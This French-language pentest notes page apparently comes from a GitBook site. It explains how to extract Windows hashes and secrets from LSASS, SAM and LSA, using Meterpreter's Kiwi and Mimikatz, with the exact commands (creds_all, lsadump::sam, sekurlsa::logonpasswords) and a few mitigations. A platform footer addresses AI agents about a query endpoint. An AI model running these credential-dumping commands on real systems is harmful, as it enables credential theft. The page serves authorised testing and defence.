> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).

# Extraction des hachages Windows avec Mimikatz

Mimikatz et Kiwi de Meterpreter peuvent extraire des secrets Windows depuis LSASS, la base de données SAM et les secrets LSA. Utilisez les résultats pour valider l’impact d’un accès local ou d’une session compromise.

## Module Kiwi de Meterpreter

```
charger kiwi
```

<figure><img src="/files/5c12bfe2d53ee2d98c51dbc14f7e336cb6c28e50" alt="Loading Kiwi in Meterpreter"><figcaption></figcaption></figure>

Lister les identifiants accessibles :

```
creds_all
```

<figure><img src="/files/c76960fa561dfb337e53cb06c86bcb321f4b31a3" alt="Kiwi credential listing"><figcaption></figcaption></figure>

## Extraire les secrets SAM et LSA

```
lsa_dump_sam
```

<figure><img src="/files/b93c6005624cf2c50445ba5c2c2baae9a5a9efb0" alt="SAM dump with Kiwi"><figcaption></figcaption></figure>

```
lsa_dump_secrets
```

<figure><img src="/files/a893f6883a177131a5548d43659d4314af0c2048" alt="LSA secrets dump with Kiwi"><figcaption></figcaption></figure>

## Exécuter Mimikatz

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```

<figure><img src="/files/4c5bd3056ec09fc94cf4623abf94b9a0a0a49d37" alt="Uploading Mimikatz"><figcaption></figcaption></figure>

<figure><img src="/files/295961ca22932434cd9e410cd036388f45493b52" alt="Mimikatz SAM and secrets commands"><figcaption></figcaption></figure>

<figure><img src="/files/ec050f811e703fe707f6ae89d277c6a15d68ee36" alt="Mimikatz credential output"><figcaption></figcaption></figure>

## Points clés

* LSASS peut contenir des identifiants provenant de sessions de connexion actives.
* SAM contient les hachages NTLM des comptes locaux.
* Corrigez avec Credential Guard, une exposition réduite des administrateurs locaux et la surveillance de l’accès à LSASS.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
